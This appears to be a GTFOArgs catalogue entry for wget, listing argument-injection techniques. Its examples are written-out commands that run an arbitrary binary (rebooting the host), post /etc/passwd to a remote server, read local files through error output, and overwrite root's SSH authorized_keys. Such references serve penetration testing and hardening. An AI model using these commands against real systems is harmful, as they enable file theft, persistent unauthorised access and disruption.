argument community v1.0.0

wget

Argument injection via wget

📋 Live Preview
wget
wget

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
network.transfer.upload
system.file.read
system.file.write
network.transfer.download

Examples

Can be used to execute any command or file on a system, but without any arguments, and without stdout/stderr. This can be useful if you are able to write an executable to the server beforehand. The example here invokes /sbin/reboot.

wget --use-askpass=/sbin/reboot http://0/ 

Send a local file to a remote server in a POST request. Note that the file will be sent as-is.

wget --post-file=/etc/passwd http://0/ 

Read local files by importing the file as URIs to be retrieved. The content of the file will be displayed as error messages.

wget --input-file=/etc/passwd http://0/ 

Reads local data and writes the output to a file. This is only suitable for displaying non-binary files, as the output is an error-log.

wget --input-file=/etc/passwd --output-file=/tmp/passwd.txt 

Downloads a remote file via an HTTP GET request and saves it to a specific location.

wget --output-document=/root/.ssh/authorized_keys http://0/ 

Documentation

wget

GTFOArgs entry for wget. This binary can be used to inject arguments for execution, file operations, or other capabilities.

References